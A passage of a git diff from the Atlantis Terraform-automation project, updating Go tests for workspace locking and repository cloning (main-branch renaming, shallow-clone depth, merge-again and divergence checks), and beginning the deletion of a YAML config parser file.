TestUnlockDifferentWorkspaces(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different workspaces") - unlockFn1, err1 := locker.TryLock(repo, 1, workspace) + unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path) Ok(t, err1) - unlockFn2, err2 := locker.TryLock(repo, 1, "new-workspace") + unlockFn2, err2 := locker.TryLock(repo, 1, "new-workspace", path) Ok(t, err2) unlockFn1() unlockFn2() - _, err := locker.TryLock(repo, 1, workspace) + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) - _, err = locker.TryLock(repo, 1, "new-workspace") + _, err = locker.TryLock(repo, 1, "new-workspace", path) Ok(t, err) } func TestUnlockDifferentRepos(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different repos") - unlockFn1, err1 := locker.TryLock(repo, 1, workspace) + unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path) Ok(t, err1) newRepo := "owner/newrepo" - unlockFn2, err2 := locker.TryLock(newRepo, 1, workspace) + unlockFn2, err2 := locker.TryLock(newRepo, 1, workspace, path) Ok(t, err2) unlockFn1() unlockFn2() - _, err := locker.TryLock(repo, 1, workspace) + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) - _, err = locker.TryLock(newRepo, 1, workspace) + _, err = locker.TryLock(newRepo, 1, workspace, path) Ok(t, err) } func TestUnlockDifferentPulls(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different pulls") - unlockFn1, err1 := locker.TryLock(repo, 1, workspace) + unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path) Ok(t, err1) newPull := 2 - unlockFn2, err2 := locker.TryLock(repo, newPull, workspace) + unlockFn2, err2 := locker.TryLock(repo, newPull, workspace, path) Ok(t, err2) unlockFn1() unlockFn2() - _, err := locker.TryLock(repo, 1, workspace) - Ok(t, err) - _, err = locker.TryLock(repo, newPull, workspace) - Ok(t, err) -} - -func TestLockPull(t *testing.T) { - locker := events.NewDefaultWorkingDirLocker() - unlock, err := locker.TryLockPull("owner/repo", 1) - Ok(t, err) - - // Now a lock for the same pull or for a workspace should fail. - _, err = locker.TryLockPull("owner/repo", 1) - Assert(t, err != nil, "exp err") - _, err = locker.TryLock("owner/repo", 1, "workspace") - Assert(t, err != nil, "exp err") - - // Lock for a different pull and workspace should succeed. - _, err = locker.TryLockPull("owner/repo", 2) - Ok(t, err) - _, err = locker.TryLock("owner/repo", 3, "workspace") - Ok(t, err) - - // After unlocking, should be able to get a pull lock. - unlock() - unlock, err = locker.TryLockPull("owner/repo", 1) - Ok(t, err) - - // If we unlock that too, should be able to get the workspace lock. - unlock() - _, err = locker.TryLock("owner/repo", 1, "workspace") - Ok(t, err) - unlock() -} - -// If the workspace was locked first, we shouldn't be able to get the pull lock. -func TestLockPull_WorkspaceFirst(t *testing.T) { - locker := events.NewDefaultWorkingDirLocker() - unlock, err := locker.TryLock("owner/repo", 1, "workspace") + _, err := locker.TryLock(repo, 1, workspace, path) Ok(t, err) - - _, err = locker.TryLockPull("owner/repo", 1) - Assert(t, err != nil, "exp err") - - // After unlocking the workspace, should be able to get the lock. - unlock() - _, err = locker.TryLockPull("owner/repo", 1) + _, err = locker.TryLock(repo, newPull, workspace, path) Ok(t, err) } diff --git a/server/events/working_dir_test.go b/server/events/working_dir_test.go index 163b0919e4..9fd85487e9 100644 --- a/server/events/working_dir_test.go +++ b/server/events/working_dir_test.go @@ -6,10 +6,14 @@ import ( "net/http" "os" "path/filepath" + "strings" "testing" + "github.com/stretchr/testify/assert" + "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) @@ -27,20 +31,21 @@ func disableSSLVerification() func() { // Test that if we don't have any existing files, we check out the repo. func TestClone_NoneExisting(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) expCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + dataDir := t.TempDir() + + logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), + GpgNoSigningEnabled: true, } - cloneDir, _, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") @@ -51,27 +56,73 @@ func TestClone_NoneExisting(t *testing.T) { Equals(t, expCommit, actCommit) } +// Test running on main branch with merge strategy +func TestClone_MainBranchWithMergeStrategy(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + expCommit := runCmd(t, repoDir, "git", "rev-parse", "main") + + dataDir := t.TempDir() + + logger := logging.NewNoopLogger(t) + + overrideURL := fmt.Sprintf("file://%s", repoDir) + wd := &events.FileWorkspace{ + DataDir: dataDir, + CheckoutMerge: true, + TestingOverrideHeadCloneURL: overrideURL, + TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, + } + + _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ + Num: 0, + BaseRepo: models.Repo{}, + HeadBranch: "branch", + BaseBranch: "main", + }, "default") + Ok(t, err) + + // Create a file that we can use to check if the repo was recloned. + runCmd(t, dataDir, "touch", "repos/0/default/proof") + + // re-clone to make sure we don't try to merge main into itself + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ + BaseRepo: models.Repo{}, + HeadBranch: "branch", + BaseBranch: "main", + }, "default") + Ok(t, err) + + // Use rev-parse to verify at correct commit. + actCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD") + Equals(t, expCommit, actCommit) + + // Check that our proof file is still there, proving that we didn't reclone. + _, err = os.Stat(filepath.Join(cloneDir, "proof")) + Ok(t, err) +} + // Test that if we don't have any existing files, we check out the repo // successfully when we're using the merge method. func TestClone_CheckoutMergeNoneExisting(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) - // Add a commit to branch 'branch' that's not on master. + // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") branchCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") - // Now switch back to master and advance the master branch by another + // Now switch back to main and advance the main branch by another // commit. - runCmd(t, repoDir, "git", "checkout", "master") - runCmd(t, repoDir, "touch", "master-file") - runCmd(t, repoDir, "git", "add", "master-file") - runCmd(t, repoDir, "git", "commit", "-m", "master-commit") - masterCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") + runCmd(t, repoDir, "git", "checkout", "main") + runCmd(t, repoDir, "touch", "main-file") + runCmd(t, repoDir, "git", "add", "main-file") + runCmd(t, repoDir, "git", "commit", "-m", "main-commit") + mainCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") // Finally, perform a merge in another branch ourselves, just so we know // what the final state of the repo should be. @@ -79,29 +130,31 @@ func TestClone_CheckoutMergeNoneExisting(t *testing.T) { runCmd(t, repoDir, "git", "merge", "-m", "atlantis-merge", "branch") expLsOutput := runCmd(t, repoDir, "ls") - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + logger := logging.NewNoopLogger(t) + + dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, + CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, } - cloneDir, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Check the commits. actBaseCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD~1") actHeadCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD^2") - Equals(t, masterCommit, actBaseCommit) + Equals(t, mainCommit, actBaseCommit) Equals(t, branchCommit, actHeadCommit) // Use ls to verify the repo looks good. @@ -113,51 +166,51 @@ func TestClone_CheckoutMergeNoneExisting(t *testing.T) { // the right commit, then we don't reclone. func TestClone_CheckoutMergeNoReclone(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) - // Add a commit to branch 'branch' that's not on master. + // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") - // Now switch back to master and advance the master branch by another commit. - runCmd(t, repoDir, "git", "checkout", "master") - runCmd(t, repoDir, "touch", "master-file") - runCmd(t, repoDir, "git", "add", "master-file") - runCmd(t, repoDir, "git", "commit", "-m", "master-commit") + // Now switch back to main and advance the main branch by another commit. + runCmd(t, repoDir, "git", "checkout", "main") + runCmd(t, repoDir, "touch", "main-file") + runCmd(t, repoDir, "git", "add", "main-file") + runCmd(t, repoDir, "git", "commit", "-m", "main-commit") + + logger := logging.NewNoopLogger(t) // Run the clone for the first time. - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, + CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, } - _, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Create a file that we can use to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") // Now run the clone again. - cloneDir, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Check that our proof file is still there, proving that we didn't reclone. _, err = os.Stat(filepath.Join(cloneDir, "proof")) @@ -168,46 +221,46 @@ func TestClone_CheckoutMergeNoReclone(t *testing.T) { // merged is a fast-forward merge. See #584. func TestClone_CheckoutMergeNoRecloneFastForward(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) - // Add a commit to branch 'branch' that's not on master. + // Add a commit to branch 'branch' that's not on main. // This will result in a fast-forwardable merge. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") + logger := logging.NewNoopLogger(t) + // Run the clone for the first time. - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, + CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, } - _, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Create a file that we can use to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") // Now run the clone again. - cloneDir, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Check that our proof file is still there, proving that we didn't reclone. _, err = os.Stat(filepath.Join(cloneDir, "proof")) @@ -217,37 +270,39 @@ func TestClone_CheckoutMergeNoRecloneFastForward(t *testing.T) { // Test that if there's a conflict when merging we return a good error. func TestClone_CheckoutMergeConflict(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) - // Add a commit to branch 'branch' that's not on master. + // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "sh", "-c", "echo hi >> file") runCmd(t, repoDir, "git", "add", "file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") - // Add a new commit to master that will cause a conflict if branch was + // Add a new commit to main that will cause a conflict if branch was // merged. - runCmd(t, repoDir, "git", "checkout", "master") + runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "sh", "-c", "echo conflict >> file") runCmd(t, repoDir, "git", "add", "file") runCmd(t, repoDir, "git", "commit", "-m", "commit") + logger := logging.NewNoopLogger(t) + // We're set up, now trigger the Atlantis clone. - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, + CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, } - _, _, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", - BaseBranch: "master", + BaseBranch: "main", }, "default") ErrContains(t, "running git merge -q --no-ff -m atlantis-merge FETCH_HEAD", err) @@ -258,29 +313,119 @@ func TestClone_CheckoutMergeConflict(t *testing.T) { ErrContains(t, "exit status 1", err) } +func TestClone_CheckoutMergeShallow(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + + runCmd(t, repoDir, "git", "commit", "--allow-empty", "-m", "should not be cloned") + oldCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) + + runCmd(t, repoDir, "git", "commit", "--allow-empty", "-m", "merge-base") + baseCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) + + runCmd(t, repoDir, "git", "branch", "-f", "branch", "HEAD") + + // Add a commit to branch 'branch' that's not on master. + runCmd(t, repoDir, "git", "checkout", "branch") + runCmd(t, repoDir, "touch", "branch-file") + runCmd(t, repoDir, "git", "add", "branch-file") + runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") + + // Now switch back to master and advance the master branch by another + // commit. + runCmd(t, repoDir, "git", "checkout", "main") + runCmd(t, repoDir, "touch", "main-file") + runCmd(t, repoDir, "git", "add", "main-file") + runCmd(t, repoDir, "git", "commit", "-m", "main-commit") + + overrideURL := fmt.Sprintf("file://%s", repoDir) + + // Test that we don't check out full repo if using CheckoutMerge strategy + t.Run("Shallow", func(t *testing.T) { + logger := logging.NewNoopLogger(t) + + dataDir := t.TempDir() + + wd := &events.FileWorkspace{ + DataDir: dataDir, + CheckoutMerge: true, + // retrieve two commits in each branch: + // master: master-commit, merge-base + // branch: branch-commit, merge-base + CheckoutDepth: 2, + TestingOverrideHeadCloneURL: overrideURL, + TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, + } + + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ + BaseRepo: models.Repo{}, + HeadBranch: "branch", + BaseBranch: "main", + }, "default") + Ok(t, err) + + gotBaseCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", baseCommit) + Assert(t, gotBaseCommitType == "commit\n", "should have merge-base in shallow repo") + gotOldCommitType := runCmdErrCode(t, cloneDir, 128, "git", "cat-file", "-t", oldCommit) + Assert(t, strings.Contains(gotOldCommitType, "could not get object info"), "should not have old commit in shallow repo") + }) + + // Test that we will check out full repo if CheckoutDepth is too small + t.Run("FullClone", func(t *testing.T) { + logger := logging.NewNoopLogger(t) + + dataDir := t.TempDir() + + wd := &events.FileWorkspace{ + DataDir: dataDir, + CheckoutMerge: true, + // 1 is not enough to retrieve merge-base, so full clone should be performed + CheckoutDepth: 1, + TestingOverrideHeadCloneURL: overrideURL, + TestingOverrideBaseCloneURL: overrideURL, + GpgNoSigningEnabled: true, + } + + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ + BaseRepo: models.Repo{}, + HeadBranch: "branch", + BaseBranch: "main", + }, "default") + Ok(t, err) + + gotBaseCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", baseCommit) + Assert(t, gotBaseCommitType == "commit\n", "should have merge-base in full repo") + gotOldCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", oldCommit) + Assert(t, gotOldCommitType == "commit\n", "should have old commit in full repo") + }) + +} + // Test that if the repo is already cloned and is at the right commit, we // don't reclone. func TestClone_NoReclone(t *testing.T) { - repoDir, _ := initRepo(t) - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + repoDir := initRepo(t) + dataDir := t.TempDir() runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "mv", repoDir, "repos/0/default") // Create a file that we can use later to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") + logger := logging.NewNoopLogger(t) + wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), + GpgNoSigningEnabled: true, } - cloneDir, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") Ok(t, err) - Equals(t, false, hasDiverged) // Check that our proof file is still there. _, err = os.Stat(filepath.Join(cloneDir, "proof")) @@ -290,10 +435,8 @@ func TestClone_NoReclone(t *testing.T) { // Test that if the repo is already cloned but is at the wrong commit, we // reclone. func TestClone_RecloneWrongCommit(t *testing.T) { - repoDir, cleanup := initRepo(t) - defer cleanup() - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + repoDir := initRepo(t) + dataDir := t.TempDir() // Copy the repo to our data dir. runCmd(t, dataDir, "mkdir", "-p", "repos/0/") @@ -306,18 +449,28 @@ func TestClone_RecloneWrongCommit(t *testing.T) { runCmd(t, repoDir, "git", "commit", "-m", "newfile") expCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") + // Pretend that terraform has created a plan file, we'll check for it later + planFile := filepath.Join(dataDir, "repos/0/default/default.tfplan") + assert.NoFileExists(t, planFile) + _, err := os.Create(planFile) + Assert(t, err == nil, "creating plan file: %v", err) + assert.FileExists(t, planFile) + + logger := logging.NewNoopLogger(t) + wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), + GpgNoSigningEnabled: true, } - cloneDir, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", HeadCommit: expCommit, }, "default") Ok(t, err) - Equals(t, false, hasDiverged) + assert.NoFileExists(t, planFile, "Plan file should have been wiped out by Clone") // Use rev-parse to verify at correct commit. actCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD") @@ -325,11 +478,11 @@ func TestClone_RecloneWrongCommit(t *testing.T) { } // Test that if the branch we're merging into has diverged and we're using -// checkout-strategy=merge, we warn the user (see #804). +// checkout-strategy=merge, we actually merge the branch. +// Also check that we do not merge if we are not using the merge strategy. func TestClone_MasterHasDiverged(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) // Simulate first PR. runCmd(t, repoDir, "git", "checkout", "-b", "first-pr") @@ -340,15 +493,16 @@ func TestClone_MasterHasDiverged(t *testing.T) { // Atlantis checkout first PR. firstPRDir := repoDir + "/first-pr" runCmd(t, repoDir, "mkdir", "-p", "first-pr") - runCmd(t, firstPRDir, "git", "clone", "--branch", "master", "--single-branch", repoDir, ".") + runCmd(t, firstPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, firstPRDir, "git", "remote", "add", "head", repoDir) runCmd(t, firstPRDir, "git", "fetch", "head", "+refs/heads/first-pr") runCmd(t, firstPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, firstPRDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, firstPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, firstPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Simulate second PR. - runCmd(t, repoDir, "git", "checkout", "master") + runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "checkout", "-b", "second-pr") runCmd(t, repoDir, "touch", "file2") runCmd(t, repoDir, "git", "add", "file2") @@ -357,54 +511,157 @@ func TestClone_MasterHasDiverged(t *testing.T) { // Atlantis checkout second PR. secondPRDir := repoDir + "/second-pr" runCmd(t, repoDir, "mkdir", "-p", "second-pr") - runCmd(t, secondPRDir, "git", "clone", "--branch", "master", "--single-branch", repoDir, ".") + runCmd(t, secondPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, secondPRDir, "git", "remote", "add", "head", repoDir) runCmd(t, secondPRDir, "git", "fetch", "head", "+refs/heads/second-pr") runCmd(t, secondPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, secondPRDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, secondPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, secondPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Merge first PR - runCmd(t, repoDir, "git", "checkout", "master") + runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "merge", "first-pr") - // Copy the second-pr repo to our data dir which has diverged remote master + // Copy the second-pr repo to our data dir which has diverged remote main runCmd(t, repoDir, "mkdir", "-p", "repos/0/") runCmd(t, repoDir, "cp", "-R", secondPRDir, "repos/0/default") + logger := logging.NewNoopLogger(t) + // Run the clone. wd := &events.FileWorkspace{ - DataDir: repoDir, - CheckoutMerge: true, + DataDir: repoDir, + CheckoutMerge: false, + CheckoutDepth: 50, + GpgNoSigningEnabled: true, } - _, hasDiverged, err := wd.Clone(nil, models.Repo{}, models.PullRequest{ + + // Pretend terraform has created a plan file, we'll check for it later + planFile := filepath.Join(repoDir, "repos/0/default/default.tfplan") + assert.NoFileExists(t, planFile) + _, err := os.Create(planFile) + Assert(t, err == nil, "creating plan file: %v", err) + assert.FileExists(t, planFile) + + // Run MergeAgain without the checkout merge strategy. It should return + // false for mergedAgain + _, err = wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "second-pr", - BaseBranch: "master", + BaseBranch: "main", + }, "default") + Ok(t, err) + mergedAgain, err := wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ + BaseRepo: models.Repo{CloneURL: repoDir}, + HeadBranch: "second-pr", + BaseBranch: "main", }, "default") Ok(t, err) + assert.FileExists(t, planFile, "Existing plan file should not be deleted by merging again") + Assert(t, mergedAgain == false, "MergeAgain with CheckoutMerge=false should not merge") + + wd.CheckoutMerge = true + // Run the clone twice with the merge strategy, the first run should + // return true for mergedAgain, subsequent runs should + // return false since the first call is supposed to merge. + mergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ + BaseRepo: models.Repo{CloneURL: repoDir}, + HeadBranch: "second-pr", + BaseBranch: "main", + }, "default") + Ok(t, err) + assert.FileExists(t, planFile, "Existing plan file should not be deleted by merging again") + Assert(t, mergedAgain == true, "First clone with CheckoutMerge=true with diverged base should have merged") + + mergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ + BaseRepo: models.Repo{CloneURL: repoDir}, + HeadBranch: "second-pr", + BaseBranch: "main", + }, "default") + Ok(t, err) + Assert(t, mergedAgain == false, "Second clone with CheckoutMerge=true and initially diverged base should not merge again") + assert.FileExists(t, planFile, "Existing plan file should not have been deleted") +} + +func TestHasDiverged_MasterHasDiverged(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + + // Simulate first PR. + runCmd(t, repoDir, "git", "checkout", "-b", "first-pr") + runCmd(t, repoDir, "touch", "file1") + runCmd(t, repoDir, "git", "add", "file1") + runCmd(t, repoDir, "git", "commit", "-m", "file1") + + // Atlantis checkout first PR. + firstPRDir := repoDir + "/first-pr" + runCmd(t, repoDir, "mkdir", "-p", "first-pr") + runCmd(t, firstPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") + runCmd(t, firstPRDir, "git", "remote", "add", "head", repoDir) + runCmd(t, firstPRDir, "git", "fetch", "head", "+refs/heads/first-pr") + runCmd(t, firstPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") + runCmd(t, firstPRDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, firstPRDir, "git", "config", "--local", "commit.gpgsign", "false") + runCmd(t, firstPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") + + // Simulate second PR. + runCmd(t, repoDir, "git", "checkout", "main") + runCmd(t, repoDir, "git", "checkout", "-b", "second-pr") + runCmd(t, repoDir, "touch", "file2") + runCmd(t, repoDir, "git", "add", "file2") + runCmd(t, repoDir, "git", "commit", "-m", "file2") + + // Atlantis checkout second PR. + secondPRDir := repoDir + "/second-pr" + runCmd(t, repoDir, "mkdir", "-p", "second-pr") + runCmd(t, secondPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") + runCmd(t, secondPRDir, "git", "remote", "add", "head", repoDir) + runCmd(t, secondPRDir, "git", "fetch", "head", "+refs/heads/second-pr") + runCmd(t, secondPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") + runCmd(t, secondPRDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, secondPRDir, "git", "config", "--local", "commit.gpgsign", "false") + runCmd(t, secondPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") + + // Merge first PR + runCmd(t, repoDir, "git", "checkout", "main") + runCmd(t, repoDir, "git", "merge", "first-pr") + + // Copy the second-pr repo to our data dir which has diverged remote main + runCmd(t, repoDir, "mkdir", "-p", "repos/0/") + runCmd(t, repoDir, "cp", "-R", secondPRDir, "repos/0/default") + + // "git", "remote", "set-url", "origin", p.BaseRepo.CloneURL, + runCmd(t, repoDir+"/repos/0/default", "git", "remote", "update") + + logger := logging.NewNoopLogger(t) + + // Run the clone. + wd := &events.FileWorkspace{ + DataDir: repoDir, + CheckoutMerge: true, + CheckoutDepth: 50, + GpgNoSigningEnabled: true, + } + hasDiverged := wd.HasDiverged(logger, repoDir+"/repos/0/default") Equals(t, hasDiverged, true) // Run it again but without the checkout merge strategy. It should return // false. wd.CheckoutMerge = false - _, hasDiverged, err = wd.Clone(nil, models.Repo{}, models.PullRequest{ - BaseRepo: models.Repo{}, - HeadBranch: "second-pr", - BaseBranch: "master", - }, "default") - Ok(t, err) + hasDiverged = wd.HasDiverged(logger, repoDir+"/repos/0/default") Equals(t, hasDiverged, false) } -func initRepo(t *testing.T) (string, func()) { - repoDir, cleanup := TempDir(t) - runCmd(t, repoDir, "git", "init") +func initRepo(t *testing.T) string { + repoDir := t.TempDir() + runCmd(t, repoDir, "git", "init", "--initial-branch=main") runCmd(t, repoDir, "touch", ".gitkeep") runCmd(t, repoDir, "git", "add", ".gitkeep") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, repoDir, "git", "commit", "-m", "initial commit") runCmd(t, repoDir, "git", "branch", "branch") - return repoDir, cleanup + return repoDir } diff --git a/server/events/yaml/parser_validator.go b/server/events/yaml/parser_validator.go deleted file mode 100644 index d21b221ccd..0000000000 --- a/server/events/yaml/parser_validator.go +++ /dev/null @@ -1,207 +0,0 @@ -package yaml - -import ( - "encoding/json" - "fmt" - "io/ioutil" - "os" - "path/filepath" - "strings" - - shlex "github.com/flynn-archive/go-shlex" - validation "github.com/go-ozzo/ozzo-validation" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - yaml "gopkg.in/yaml.v2" -) - -// AtlantisYAMLFilename is the name of the config file for each repo. -const AtlantisYAMLFilename = "atlantis.yaml" - -// ParserValidator parses and validates server-side repo config files and -// repo-level atlantis.yaml files. -type ParserValidator struct{} - -// HasRepoCfg returns true if there is a repo config (atlantis.yaml) file -// for the repo at absRepoDir. -// Returns an error if for some reason it can't read that directory. -func (p *ParserValidator) HasRepoCfg(absRepoDir string) (bool, error) { - // Checks for a config file with an invalid extension (atlantis.yml) - const invalidExtensionFilename = "atlantis.yml" - _, err := 